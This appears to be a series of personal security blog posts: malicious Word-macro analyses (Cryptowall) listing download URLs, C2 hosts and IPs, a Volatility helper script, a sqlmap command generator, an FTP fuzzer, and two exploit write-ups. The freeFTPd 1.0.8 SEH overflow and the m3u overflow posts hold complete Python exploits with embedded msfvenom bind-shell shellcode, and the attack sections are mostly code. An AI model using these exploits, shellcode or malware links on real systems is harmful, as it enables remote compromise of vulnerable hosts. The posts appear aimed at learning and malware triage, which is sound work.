287 modified.macro.txt

Then sifting through what is left a couple of key functions are noticed:
FP3AL83PNIVhYqp = InternetOpenA(

Then it checks if FP3AL83PNIVhYqp returns anything.  You can look up InternetOpenA online to understand what it does.  The user agent that can be pulled is the following:
Mozilla/4.0(compatiable; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)

Bhu6AVZ = InternetOpenUrlA(

Then the previous line in the vb will pull down the cryptowall malware as a file called 1.jpg.  The 1.jpg is the cryptowall malware however it is scrambled.  Then it is saved to the "C:\users\<user>\AppData\Roaming" folder as an executable file.

Then in another function as the flow of the application goes calls the executable and runs it as a process with "CreateProcessA".  The executable then sends a POST request to the following URL:

URL: hxxp://fortecegypt.com/blog/wp-content/themes/twentyfourteen/rrr.php?g=pzh8956b2ulluj
POST DATA: z=b8bc08ed80fdb74f01125a4d61b6879af88a5aa0f09dd28ee540b25c983ae350ad13f2a891d7b22fdddc7797fef1800cf4360057


Thursday, August 6, 2015

Using oledump.py to pull Malicious Macro's out of Microsoft Word Doc

For the last few months I have been bombarded with Microsoft Word Documents that contain malicious macros.  I wanted to take a couple of minutes and document the use of oledump.py to pull out the malicious macro.  I mainly tear these apart to identify the various indicators of compromise that can be harvested.

Filename: 7ZJ7.doc
File Size: 204,800
SHA1: 086ef96c939968e9b149dab81350a2732b2fdb8f
MD5:  55687ddebba3665dd44eb7be08dc0c7b
Virus Total Detection Ratio: 19/54
Virus Total Link 

The tool oledump.py was created by Didier Stevens and he has maintained the tool as this type of malware has evolved.  To read about the command-line options that are available you can run ./oledump.py -h.  To begin to initialize the doc file you run "./oledump.py 7ZJ7.doc".


We can see from the output that there are a total of 17 objects that can be selected.  I am going to hone in on objects 8-10.

I am going to select object 8 and because it is compressed I am going to use another option to decompress it as shown below:


Then we can do the same thing to extract the macros from objects 9 and 10.  After taking the macros and evaluating them I noticed that it would go out to the following URL's to download files:

hxxp://monitoringinternetu.com/components/com_wrapper/7777.txt   (79.96.83.88)
hxxp://cdinflatables.com/components/com_wrapper/7777.txt     (188.241.222.8)
hxxp://monitoringinternetu.com/components/com_wrapper/rara.txt
hxxp://cdinflatables.com/components/com_wrapper/rara.txt

The rara.txt file contains the following link: https://www.dropbox.com/s/a73az4fj12l7fwo/kslx.exe?dl=1

I was able to find the kslx.exe file on malwr.com which may or may not be the file being requested.

Then by manipulating the macro you can see the following which are the contents of the 7777.txt file broken up into a vbs script then a bat file.


The above vbs script downloads the rara.txt file which is not found as shown above however it is found on the other URL referenced above.  Then the file is written to the filesystem as 9.exe.  Then the following bat file is executed:

Then the batch file is opened and executed to run the vbs script with cscript and then deletes the vbs file and the bat file that is left behind.  I will not go any further with the evaluation of the 9.exe.  However, below are the IP Addresses that were used to remotely control the computer:

91.231.84.120
119.81.87.154 (Most of the traffic)
148.251.157.148
148.251.127.184

Filename: kslx.exe
Size: 194,253
SHA1 - c943cccbeb257d8be5ce82d379fbf5e5e0753e2d
MD5 - 23d73f4bbcdd13ceaa9db30056d5c5a2

I thought I would also utilize a tool published by Corelan called PEFrame located here.  The output of the tool is below:

$peframe kslx.exe 

Short information
------------------------------------------------------------
File Name          kslx.exe
File Size          194253 byte
Compile Time       2015-08-04 06:42:54
DLL                False
Sections           4
Hash MD5           23d73f4bbcdd13ceaa9db30056d5c5a2
Hash SHA-1         c943cccbeb257d8be5ce82d379fbf5e5e0753e2d
Imphash            7309645e4461d38509039c98e4c661ec
Detected           Packer, Anti VM
Directory          Import, Debug

Packer matched [1]
------------------------------------------------------------
Packer             Microsoft Visual C++ 8.0

Anti VM Trick discovered [1]
------------------------------------------------------------
Trick              VMCheck.dll

Suspicious API discovered [4]
------------------------------------------------------------
Function           ExitProcess
Function           GetModuleHandleA
Function           GetProcAddress
Function           GetStartupInfoA

File name discovered [6]
------------------------------------------------------------
Library            GDI32.dll
Library            KERNEL32.dll
Library            SHLWAPI.dll
Library            WINMM.dll
Library            mscms.dll
Database           rect1.pdb

In the output it can be observed that it has an anti-vm mechanism and the trick that is discovered.  I will need to look into this at another time.



Tuesday, August 4, 2015

Python script to combine psscan and pslist Output

I was utilizing volatility the other day and was using some command line kung-fu to sort and organize the output from the module for psscan.  That is where this script came about.  Below are the objectives of the script.  Then below the script that is posted are some methods of how I utilized the script.

# Objective of the script:
# - Create a sorted view for psscan output
# - Identify the processes that are currently located in pslist
# - Number the processes in the order they appear in psscan
# - Sort by PIDs in the psscan output

In the below script after you generate the output for the psscan and pslist -P output you need to modify the file names respectively in the below script.



#!/usr/bin/python

# Objective of the script:
# - Create a sorted view for psscan output
# - Identify the processes that are currently located in pslist
# - Number the processes in the order they appear in psscan
# - Sort by PIDs in the psscan output

# Modify the below files for the output that you receive from volatility
psscanFile='txt.psscan'  # Generated with the psscan volatility 2.4 plugin
pslistFile='txt.pslist-P' # Generated with the pslist -P volatility 2.4 plugin # -P gives you the physical offset instead of the virtual

# Offset(P) # Name  # PID  # PPID  #PDB  # Time   #Created  #Time Exited
# list[0] list[1]  list[2]  list[3]  list[4]  list[5]  list[6]   list[7]

# Function to find the name of the parent process
def findName(ppid, dictP):
 namePID = ''
 for i in range(0,len(dictP['name'])):
  if dictP['pid'][i] == ppid:
   namePID = dictP['name'][i] 
 return namePID

# Function to find if the offset in the psscan output is found in the pslist output
def findPSList(oVal):
 exists = 'False'
 f = open(pslistFile, 'r')
 for line in f:
  if (('Offset' not in line) and ('-------' not in line)):
                 list = line.split()
   psOffset = list[0]
   if (oVal[-8:] == psOffset[-8:]):
    exists='True'
 return exists

# The keys that make up the dictionary for the input of the psscan output
keys = ['offset', 'name', 'pid', 'ppid', 'pdb', 'createDate', 'createTime', 'createTimeZone', 'exitDate', 'exitTime', 'exitTimeZone']
dictPsscan = {}

# Open the File where the psscan output is located
file = open(psscanFile, 'r')
for line in file:
 # Ignore the header lines that are in the output
 if (('Offset' not in line) and ('-------' not in line)):
  list = line.split()
  # The line being read may not have all 12 values so append to the list until it does (Time Exited sometimes does not exist)
  while len(list) != 12:
   list.append('') 
  # Add the values of the list into my dictionary
  for x in range(0,11):
   dictPsscan.setdefault(keys[x], []).append(list[x])

# Identify the length of the dictionary 
dictLen = len(dictPsscan['offset'])
# Take from the dictionary dictPsscan and the values of the PID values. Create a list, sort and remove duplicates
listPID = []
for i in range(0, dictLen):
 listPID.append(dictPsscan['pid'][i])
 # Remove duplicate PID values and then sort them as an integer
 listPID = sorted(set(listPID), key=int)

titleTable = "Offset(P) pslist # name pid pName ppid pdb createdDate cTime cTZ exitDate eTime eTZ"
table = titleTable.split()
# Format the output to make it easier to read
print '{0:20s} {1:6s} {2:3s} {3:16s} {4:5} {5:16} {6:5} {7:12} {8:11} {9:9} {10:9} {11:11} {12:9} {13:9}'.format(table[0], table[1], table[2], table[3], table[4], table[5], table[6], table[7], table[8], table[9], table[10], table[11], table[12], table[13])
print "-"*20 + " " + "-"*6 + " " + "-"*3 + " " + "-"*16 + " " + "-"*5 + " " + "-"*16 + " " + "-"*5 + " " + "-"*12 + " " + "-"*11 + " " + "-"*9 + " " + "-"*9 + " " + "-"*11 + " " + "-"*9 + " " + "-"*9

# Loop through the PID values
for i in range(0, len(listPID)): 
 # The counter is to count the number of instances of the PID coming out of psscan
 counter = 1
 for j in range(0, dictLen):
  if listPID[i] == dictPsscan['pid'][j]:
   outputInfo = dictPsscan['offset'][j] + " "
   outputInfo += findPSList(dictPsscan['offset'][j]) + " "
   outputInfo += str(counter) + " "
   outputInfo += dictPsscan['name'][j] + " "
   outputInfo += dictPsscan['pid'][j] + " "
   ppidName = findName(dictPsscan['ppid'][j], dictPsscan)
   if ppidName == '':
    ppidName = '(Unavailable)'
   outputInfo += ppidName + " "
   outputInfo += dictPsscan['ppid'][j] + " "
   outputInfo += dictPsscan['pdb'][j] + " "
   if (dictPsscan['createDate'][j]):
    outputInfo += dictPsscan['createDate'][j] + " "
   else:
    outputInfo += " * "
   if (dictPsscan['createTime'][j]):
    outputInfo += dictPsscan['createTime'][j] + " "
   else:
    outputInfo += " * "
   if (dictPsscan['createTimeZone'][j]):
    outputInfo += dictPsscan['createTimeZone'][j] + " "
   else:
    outputInfo += " * "
   if (dictPsscan['exitDate'][j]):
    outputInfo += dictPsscan['exitDate'][j] + " "
   else:
    outputInfo += " * "
   if (dictPsscan['exitTime'][j]):
    outputInfo += dictPsscan['exitTime'][j] + " "
   else:
    outputInfo += " * "
   if (dictPsscan['exitTimeZone'][j]):
    outputInfo += dictPsscan['exitTimeZone'][j] 
   else:
    outputInfo += " * "
   table = outputInfo.split()
   # Format the output to make it easier to read
   print '{0:20s} {1:6s} {2:3s} {3:16s} {4:5} {5:16} {6:5} {7:12} {8:11} {9:9} {10:9} {11:11} {12:9} {13:9}'.format(table[0], table[1], table[2], table[3], table[4], table[5], table[6], table[7], table[8], table[9], table[10], table[11], table[12], table[13])
   # Find the relevant PID files for that PPID
   counter += 1



For example I was utilizing grep to hone in on a particular process after running the script and it made it much easier to read.  I narrowed it quickly down to the nc.exe script is associated with the cmd.exe.

$ ./script.py | grep -e '3284\|1944'
Offset(P)            pslist #   name             pid   pName            ppid  pdb          createdDate cTime     cTZ       exitDate    eTime     eTZ      
-------------------- ------ --- ---------------- ----- ---------------- ----- ------------ ----------- --------- --------- ----------- --------- ---------
0x0000000002210da0   True   1   cmd.exe          1944  explorer.exe     840   0x08ac02c0   2014-01-13  03:02:50  UTC+0000  *           *         *        
0x0000000005686da0   False  2   cmd.exe          1944  explorer.exe     840   0x08ac02c0   2014-01-13  03:02:50  UTC+0000  *           *         *        
0x000000001997bda0   False  3   cmd.exe          1944  explorer.exe     840   0x08ac02c0   2014-01-13  03:02:50  UTC+0000  *           *         *        
0x0000000001f72da0   False  1   nc.exe           3284  cmd.exe          1944  0x08ac0280   2014-01-13  03:05:08  UTC+0000  9999-01-13  03:05:08  UTC+0000 
0x000000000dcb7da0   False  2   nc.exe           3284  cmd.exe          1944  0x08ac0280   2014-01-13  03:05:08  UTC+0000  *           *         *




Wednesday, July 22, 2015

Python script to convert an HTTP Web Request to a sqlmap Command

Today I was working with OWASP ZAP and sqlmap for some testing.  I found that for the testing that I was doing I needed a script to automate the creation of the sqlmap command from the input of a HTTP web request.  I will demonstrate how I am utilizing it below:

Below is a screen shot of OWASP ZAP area where the request is shown after it is configured to show a combined view of the header and the content.


This is an example of an HTTP POST request during the login stage of getting into DVWA.  Then inside this box you can right-click, hover over Save Raw, Request, and then click on All.  This will bring up a save dialog box.  Where you saved the below script, create a folder called "requests".  Then save the HTTP Request in that folder.  If you are running Kali you do not need to be root to execute this script.

Here is the script that converts the POST Request into a sqlmap command and then it will execute it upon a key press:



#!/usr/bin/python

import os
import sys

additionalParameters='--dbms=mysql --level=5 --risk=3'


def checkDir():
 if not (os.path.exists("requests")):
  print "This must be the first time you have used this script."
  print
  print "Creating a directory called 'requests'.  This is where"
  print "you can save the web requests you would like formatted"
  print "for sqlmap."
  print
  os.makedirs("requests")

def getFileName():
 if (len(os.listdir('requests')) == 0):
  print "Inside this directory is another directory called requests."
  print "Currently this directory is empty, please add to this directory"
  print "the saved web requests that you would like formatted for sqlmap."
  print 
  print "Example: In OWASP ZAP 2.4 where the web request is located,"
  print "change the display to be combined with the header and the"
  print "body.  Then right-click and Save Raw --> Request --> All."
  print "Then navigate to the requests directory and save it.  You"
  print "can save more than one file and then select which one to"
  print "format."
  print

 else:
  print "Select which file to format:"
  files = os.listdir('requests')
  count = 1
  for f in files:
   print str(count) + ". " + f
   count += 1
  print
  fileNum = raw_input ("$ ")
  fileNum = int(fileNum) - 1
  return files[fileNum]

def parseFilename(fileName):
 fileName = 'requests/' + fileName
 file = open(fileName, 'r')
 # Count the number of lines in the file
 lineCount = 0
 for count in file:
  lineCount += 1
 file = open(fileName, 'r')
 count = 0
 requestType = ''
 cookieInfo = ''
 for line in file:
  count += 1
  if "POST" in line:
   lineList = line.split(' ')
   requestType = lineList[0]
   url = lineList[1]
  elif "GET" in line:
   lineList = line.split(' ')
   requestType = lineList[0]
   url = lineList[1]
  elif "User-Agent: " in line:
   userAgent = line[12:-2]
  elif "Cookie: " in line:
   cookieInfo = line[8:-2]
  elif (count == lineCount) & (requestType == 'POST'):
   dataInfo = line
   dataInfo = dataInfo[:-2]
 print 
 sqlMapString = "sqlmap -u '"
 sqlMapString += url + "' "
 if (requestType == 'POST'):
  sqlMapString += "--data='" + dataInfo + "' "
 if (cookieInfo <> ''):
  sqlMapString += "--cookie='" + cookieInfo + "' "
 sqlMapString += "--headers='" + userAgent + "' "
 sqlMapString += " " + additionalParameters
 print
 print "# Additional Parameters of " + additionalParameters 
 print "# These can be modified in the first few lines of the script"
 print
 print sqlMapString
 print
 return sqlMapString
 
def executeCommand(c):
 raw_input ("Hit any key to execute the above sqlmap command.")
 os.system(c)
 
def main():
 print 
 print "## SQLMap Format Script"
 checkDir()
 openFilename = getFileName()
 sqlmapCommand = parseFilename(openFilename)
 executeCommand(sqlmapCommand)

if __name__ == "__main__":
    main()



After you execute the above script you get the following output:



$ ./sqlmap-tool.py 

## SQLMap Format Script
Select which file to format:
1. requests-1678.raw
2. requests-1665.raw
3. requests-1664.raw

$ 1


# Additional Parameters of --dbms=mysql --level=5 --risk=3
# These can be modified in the first few lines of the script

sqlmap -u 'http://127.0.0.1/dvwa/login.php' --data='username=admin&password=password&Login=Log' --cookie='security=high; PHPSESSID=ec135ql5k3j6irk2j0ammp5l94' --headers='Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0'  --dbms=mysql --level=5 --risk=3

Hit any key to execute the above sqlmap command.



If you place more than one file in the 'requests' directory, as shown above you can choose which file you would like to format and then upon key press execute the command.  One item to note is the additional parameters.  These can be adjusted by modifying the respective line in the python script.

Wednesday, July 8, 2015

Fuzzer for freeFTPd 1.0.8

From working with freeFTPd 1.0.8 in the previous post and finding that a buffer overflow could occur on the username field if I enabled logging.  I build the below script to test other functions of the FTP server.  I developed the below fuzzer to identify them, however none surfaced.  I also experimented with unicode characters.



#!/usr/bin/python

import socket

server = '172.16.102.142' # Change to the IP Address of Windows 7 SP1 VM
destPort = 21

hexValues = ["\x00","\x01","\x02","\x03","\x04","\x05","\x06","\x07","\x08","\x09","\x0a","\x0b","\x0c","\x0d","\x0e","\x0f","\x10","\x11","\x12","\x13","\x14","\x15","\x16","\x17","\x18","\x19","\x1a","\x1b","\x1c","\x1d","\x1e","\x1f","\x20","\x21","\x22","\x23","\x24","\x25","\x26","\x27","\x28","\x29","\x2a","\x2b","\x2c","\x2d","\x2e","\x2f","\x30","\x31","\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\x3a","\x3b","\x3c","\x3d","\x3e","\x3f","\x40","\x41","\x42","\x43","\x44","\x45","\x46","\x47","\x48","\x49","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f","\x50","\x51","\x52","\x53","\x54","\x55","\x56","\x57","\x58","\x59","\x5a","\x5b","\x5c","\x5d","\x5e","\x5f","\x60","\x61","\x62","\x63","\x64","\x65","\x66","\x67","\x68","\x69","\x6a","\x6b","\x6c","\x6d","\x6e","\x6f","\x70","\x71","\x72","\x73","\x74","\x75","\x76","\x77","\x78","\x79","\x7a","\x7b","\x7c","\x7d","\x7e","\x7f","\x80","\x81","\x82","\x83","\x84","\x85","\x86","\x87","\x88","\x89","\x8a","\x8b","\x8c","\x8d","\x8e","\x8f","\x90","\x91","\x92","\x93","\x94","\x95","\x96","\x97","\x98","\x99","\x9a","\x9b","\x9c","\x9d","\x9e","\x9f","\xa0","\xa1","\xa2","\xa3","\xa4","\xa5","\xa6","\xa7","\xa8","\xa9","\xaa","\xab","\xac","\xad","\xae","\xaf","\xb0","\xb1","\xb2","\xb3","\xb4","\xb5","\xb6","\xb7","\xb8","\xb9","\xba","\xbb","\xbc","\xbd","\xbe","\xbf","\xc0","\xc1","\xc2","\xc3","\xc4","\xc5","\xc6","\xc7","\xc8","\xc9","\xca","\xcb","\xcc","\xcd","\xce","\xcf","\xd0","\xd1","\xd2","\xd3","\xd4","\xd5","\xd6","\xd7","\xd8","\xd9","\xda","\xdb","\xdc","\xdd","\xde","\xdf","\xe0","\xe1","\xe2","\xe3","\xe4","\xe5","\xe6","\xe7","\xe8","\xe9","\xea","\xeb","\xec","\xed","\xee","\xef","\xf0","\xf1","\xf2","\xf3","\xf4","\xf5","\xf6","\xf7","\xf8","\xf9","\xfa","\xfb","\xfc","\xfd","\xfe","\xff"]

unicodeValues = ["\ufeff","\u202e","\u180e"]

commands = ["MKD", "STOR", "CWD", "RETR", "DELE", "LIST"] 

for i in range(0,len(hexValues)):
#for i in range(0,len(unicodeValues)):
 for command in commands:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  connect = s.connect((server, destPort))
  bufCreated = hexValues[i] * 3000
  #print bufCreated
  # Receive the Banner that is returned after the initial connection
  #s.recv(1024)
  print s.recv(1024)
  print i

  # Send the username to login with
  userString = "USER ftp" + "\r\n"
  s.send(userString)
  #s.recv(1024)
  print s.recv(1024)

  # Send the password to login with
  passString = "PASS ftp" + "\r\n"
  s.send(passString)
  print s.recv(1024)

  ftpRequest = command + bufCreated + "\r\n"
  s.send(ftpRequest)
  print s.recv(1024)

  s.close()





Tuesday, July 7, 2015

freeFTPd 1.0.8 - SEH Stack Based Overflow

Exploiting the freeFTPd 1.0.8 server that has an SEH Stack Based Overflow.  This is already documented as a metasploit module and other exploits that have been published.  I have downloaded the vulnerable freeFTPd 1.0.8 server from here.  Then I installed it on Windows XP SP2 with Immunity Debugger.  To configure the freeFTPd server create a user with username of ftp and a password of ftp.  Then enable logging so it writes to a file.

First I created a python script to simulate a logon:



#!/usr/bin/python

import socket

server = '172.16.104.42' # Change to the IP Address of Windows XP SP2 VM
destPort = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, destPort))

# Receive the Banner that is returned after the initial connection
print s.recv(1024)

# Send the username to login with
userString = "USER ftp\r\n"
s.send(userString)
print userString
print s.recv(1024)

# Send the password to login with
passString = "PASS ftp\r\n"
s.send(passString)
print passString
print s.recv(1024)

s.close()


Then in the script I introduced a string that is appended for the username of FTP 1500 characters.  After this the change to the script is made and the script is executed in Immunity Debugger you can observe the ECX register contains the all A's and an Access Violation is present at the bottom of the debugger window.  Then if you scroll down in the window that is in the bottom-right corner you will find that the A's overright an SEH handler on the stack.


Then utilizing the pattern_create tool, created a pattern of 1500 characters.  Then after pressing <shift>+F7 to step through the access violation you find that part of the pattern is returned in the EIP pointer.


 Then plugging the value into the pattern_offset tool you find that the size is 1004 bytes into the pattern.


With modifying the buffer that is sent to buf = "A"*1004 + "B"*4 + "C"*4 + "D"*4 you should be able to see on the stack if you have the correct offset if the following occurs:

We can see that the "Pointer to next SEH record" has B, in the "SE handler" only C's exist and then D's exist after this.  The script that I generated is below to cause the above screenshot.



#!/usr/bin/python

import socket

server = '172.16.102.142' # Change to the IP Address of Windows XP SP2 VM
destPort = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, destPort))

bufCreated = "A"*1004
bufCreated += "B"*4
bufCreated += "C"*4
bufCreated += "D"*4

# Receive the Banner that is returned after the initial connection
print s.recv(1024)

# Send the username to login with
userString = "USER " + bufCreated + "\r\n"
s.send(userString)
print userString
print s.recv(1024)

# Send the password to login with
passString = "PASS ftp" + "\r\n"
s.send(passString)
print passString
print s.recv(1024)

s.close()


Now we need to find a memory address that will allow us to overwrite the SEH value.  To do this we are going to use a pycommand called mona.py which can be downloaded from here.  In the previous post I talk more about how to setup mona.  I executed mona.py and received the following results.

From the output we find 3 memory addresses that could possibly be used.  Notice that the 3rd address however, contains a 00 in the address which would act as a NULL character in a string.  We may have to be careful with this address.  I am going to use the 0x7ffc054d address in the exploit.  Then I am going to place in the next SEH address that of a breakpoint so I can evaluate the registers.  The above code I modified to look like the following screenshot.


After executing the script with the above changes and bypassing the first access violation by hitting <shift + F9> then you hit the breakpoint as shown in the below screenshot.


The above screenshot is a busy screenshot but shows us a lot of information we need to know.  Notice in the top left of the CPU window we are at a breakpoint, in the top-right corner we notice the stack pointer (ESP) is located at 0x0012aea0, and then in the lower right window we see that the A's where I will place my shellcode.  The memory address of where the A's begin is roughly 0x0012b2ec.

So in my jump code I need to somehow go to memory address 0x0012b2ec.  To accomplish this I click on one of the INT3 instructions and then hit the space bar.  Then in the text box type jmp and the memory address on the stack that you wish to jump to.  The below screenshot occurs if you did this correct.


Then click assemble and it modifies the assembly as shown below:


We find that the assembly instructions that we would like to use for our jumpcode.  The instructions are "\xe9\x16\xfc\xff\xff".  With the above information we should be able to craft the exploit.  I have provided the proof-of-concept code below.



#!/usr/bin/python

import socket

server = '172.16.102.142' # Change to the IP Address of Windows XP SP2 VM
destPort = 21

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, destPort))

# msfvenom -p windows/shell_bind_tcp LPORT=4444 EXITFUNC=seh -b '\x00\x20\x0a\x0d' -f python
# No platform was selected, choosing Msf::Module::Platform::Windows from the payload
# No Arch selected, selecting Arch: x86 from the payload
# Found 22 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 355 (iteration=0)
buf =  ""
buf += "\xbb\xd3\xa8\x3c\xaa\xdb\xc6\xd9\x74\x24\xf4\x5f\x2b"
buf += "\xc9\xb1\x53\x31\x5f\x12\x03\x5f\x12\x83\x3c\x54\xde"
buf += "\x5f\x3e\x4d\x9d\xa0\xbe\x8e\xc2\x29\x5b\xbf\xc2\x4e"
buf += "\x28\x90\xf2\x05\x7c\x1d\x78\x4b\x94\x96\x0c\x44\x9b"
buf += "\x1f\xba\xb2\x92\xa0\x97\x87\xb5\x22\xea\xdb\x15\x1a"
buf += "\x25\x2e\x54\x5b\x58\xc3\x04\x34\x16\x76\xb8\x31\x62"
buf += "\x4b\x33\x09\x62\xcb\xa0\xda\x85\xfa\x77\x50\xdc\xdc"
buf += "\x76\xb5\x54\x55\x60\xda\x51\x2f\x1b\x28\x2d\xae\xcd"
buf += "\x60\xce\x1d\x30\x4d\x3d\x5f\x75\x6a\xde\x2a\x8f\x88"
buf += "\x63\x2d\x54\xf2\xbf\xb8\x4e\x54\x4b\x1a\xaa\x64\x98"
buf += "\xfd\x39\x6a\x55\x89\x65\x6f\x68\x5e\x1e\x8b\xe1\x61"
buf += "\xf0\x1d\xb1\x45\xd4\x46\x61\xe7\x4d\x23\xc4\x18\x8d"
buf += "\x8c\xb9\xbc\xc6\x21\xad\xcc\x85\x2d\x02\xfd\x35\xae"
buf += "\x0c\x76\x46\x9c\x93\x2c\xc0\xac\x5c\xeb\x17\xd2\x76"
buf += "\x4b\x87\x2d\x79\xac\x8e\xe9\x2d\xfc\xb8\xd8\x4d\x97"
buf += "\x38\xe4\x9b\x02\x30\x43\x74\x31\xbd\x33\x24\xf5\x6d"
buf += "\xdc\x2e\xfa\x52\xfc\x50\xd0\xfb\x95\xac\xdb\x12\x3a"
buf += "\x38\x3d\x7e\xd2\x6c\x95\x16\x10\x4b\x2e\x81\x6b\xb9"
buf += "\x06\x25\x23\xab\x91\x4a\xb4\xf9\xb5\xdc\x3f\xee\x01"
buf += "\xfd\x3f\x3b\x22\x6a\xd7\xb1\xa3\xd9\x49\xc5\xe9\x89"
buf += "\xea\x54\x76\x49\x64\x45\x21\x1e\x21\xbb\x38\xca\xdf"
buf += "\xe2\x92\xe8\x1d\x72\xdc\xa8\xf9\x47\xe3\x31\x8f\xfc"
buf += "\xc7\x21\x49\xfc\x43\x15\x05\xab\x1d\xc3\xe3\x05\xec"
buf += "\xbd\xbd\xfa\xa6\x29\x3b\x31\x79\x2f\x44\x1c\x0f\xcf"
buf += "\xf5\xc9\x56\xf0\x3a\x9e\x5e\x89\x26\x3e\xa0\x40\xe3"
buf += "\x40\x50\x58\xfe\xd5\xcb\x09\x43\xb8\xeb\xe4\x80\xc5"
buf += "\x6f\x0c\x79\x32\x6f\x65\x7c\x7e\x37\x96\x0c\xef\xd2"
buf += "\x98\xa3\x10\xf7"

bufCreated = "A"*1004
bufCreated = "\x90"*500
bufCreated += buf   # Payload generated by msfvenom
bufCreated += "\x90" * (1004 - len(bufCreated))
bufCreated += "\xeb\x04\x90\x90" # nSEH
bufCreated += "\x4d\x05\xfc\x7f" # SEH
bufCreated += "\x90"*8   # Small NOP Sled
bufCreated += "\xe9\x16\xfc\xff\xff" # JMP to where NOP Sled and Shellcode exist
bufCreated += "\x90"*8   # Small NOP Sled

# Receive the Banner that is returned after the initial connection
print s.recv(1024)

# Send the username to login with
userString = "USER " + bufCreated + "\r\n"
s.send(userString)
print userString
print s.recv(1024)

# Send the password to login with
passString = "PASS ftp" + "\r\n"
s.send(passString)
print passString
print s.recv(1024)

s.close()



Then after executing the script we can then connect to port 4444 using netcat and receive a command prompt.


This post is meant to be used for educational purposes only to demonstrate an SEH bypass exploit of freeFTPd 1.0.8.

Sunday, July 5, 2015

Reviewing Corelan Exploit Writing Part 2

I was reviewing the Corelan Exploit Tutotials Part 2 located here.  Below is the python code that I have created following the tutorial.

#!/usr/bin/python

# msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x20\x0a\x0d' -f python
# No platform was selected, choosing Msf::Module::Platform::Windows from the payload
# No Arch selected, selecting Arch: x86 from the payload
# Found 22 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 355 (iteration=0)
buf =  ""
buf += "\xbb\x06\xf1\x81\xb7\xdd\xc3\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x53\x31\x58\x12\x83\xe8\xfc\x03\x5e\xff\x63"
buf += "\x42\xa2\x17\xe1\xad\x5a\xe8\x86\x24\xbf\xd9\x86\x53"
buf += "\xb4\x4a\x37\x17\x98\x66\xbc\x75\x08\xfc\xb0\x51\x3f"
buf += "\xb5\x7f\x84\x0e\x46\xd3\xf4\x11\xc4\x2e\x29\xf1\xf5"
buf += "\xe0\x3c\xf0\x32\x1c\xcc\xa0\xeb\x6a\x63\x54\x9f\x27"
buf += "\xb8\xdf\xd3\xa6\xb8\x3c\xa3\xc9\xe9\x93\xbf\x93\x29"
buf += "\x12\x13\xa8\x63\x0c\x70\x95\x3a\xa7\x42\x61\xbd\x61"
buf += "\x9b\x8a\x12\x4c\x13\x79\x6a\x89\x94\x62\x19\xe3\xe6"
buf += "\x1f\x1a\x30\x94\xfb\xaf\xa2\x3e\x8f\x08\x0e\xbe\x5c"
buf += "\xce\xc5\xcc\x29\x84\x81\xd0\xac\x49\xba\xed\x25\x6c"
buf += "\x6c\x64\x7d\x4b\xa8\x2c\x25\xf2\xe9\x88\x88\x0b\xe9"
buf += "\x72\x74\xae\x62\x9e\x61\xc3\x29\xf7\x46\xee\xd1\x07"
buf += "\xc1\x79\xa2\x35\x4e\xd2\x2c\x76\x07\xfc\xab\x79\x32"
buf += "\xb8\x23\x84\xbd\xb9\x6a\x43\xe9\xe9\x04\x62\x92\x61"
buf += "\xd4\x8b\x47\x1f\xdc\x2a\x38\x02\x21\x8c\xe8\x82\x89"
buf += "\x65\xe3\x0c\xf6\x96\x0c\xc7\x9f\x3f\xf1\xe8\x8e\xe3"
buf += "\x7c\x0e\xda\x0b\x29\x98\x72\xee\x0e\x11\xe5\x11\x65"
buf += "\x09\x81\x5a\x6f\x8e\xae\x5a\xa5\xb8\x38\xd1\xaa\x7c"
buf += "\x59\xe6\xe6\xd4\x0e\x71\x7c\xb5\x7d\xe3\x81\x9c\x15"
buf += "\x80\x10\x7b\xe5\xcf\x08\xd4\xb2\x98\xff\x2d\x56\x35"
buf += "\x59\x84\x44\xc4\x3f\xef\xcc\x13\xfc\xee\xcd\xd6\xb8"
buf += "\xd4\xdd\x2e\x40\x51\x89\xfe\x17\x0f\x67\xb9\xc1\xe1"
buf += "\xd1\x13\xbd\xab\xb5\xe2\x8d\x6b\xc3\xea\xdb\x1d\x2b"
buf += "\x5a\xb2\x5b\x54\x53\x52\x6c\x2d\x89\xc2\x93\xe4\x09"
buf += "\xf2\xd9\xa4\x38\x9b\x87\x3d\x79\xc6\x37\xe8\xbe\xff"
buf += "\xbb\x18\x3f\x04\xa3\x69\x3a\x40\x63\x82\x36\xd9\x06"
buf += "\xa4\xe5\xda\x02"

file = open("5.m3u", "w")
junk = "\x41"*26059
# 1 - works
# Searched for jmp esp in all commands and found one without \x00 in the address
# Address for JMP ESP 0x01a8f23a - This address goes in as EIP
#eip  = "\x3a\xf2\xa8\x01"

# 2 - works
# Searched for call esp in all commands
# Address for CALL ESP 0x5d091421   ## Worked
# Address for CALL ESP 0x773d1419
#eip = "\x21\x14\x09\x5d"

# 3 - works
# Searched for POP r32 POP r32 RETN
# This pops 2 addresses off of the stack and then places the next address in EIP
# Address 0x01851118
# POP ESI
# POP EBP
# RETN
eip = "\x18\x11\x85\x01"
junk += eip
junk += "C"*4 # Offset to where the ESP points to
junk += "\x90" * 8
# Searched for jmp esp in all commands and found one without \x00 in the address
# Address for JMP ESP 0x01a8f23a - This address goes in as EIP
junk += "\x3a\xf2\xa8\x01"
junk += "\x90" * 100
junk += buf
junk += "\x41" * (30000 - len(junk))

file.write(junk)
file.close()

# v1 Script
# Using a "call esp"


This is the second script...

#!/usr/bin/python

# msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x20\x0a\x0d' -f python
# No platform was selected, choosing Msf::Module::Platform::Windows from the payload
# No Arch selected, selecting Arch: x86 from the payload
# Found 22 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 355 (iteration=0)
buf =  ""
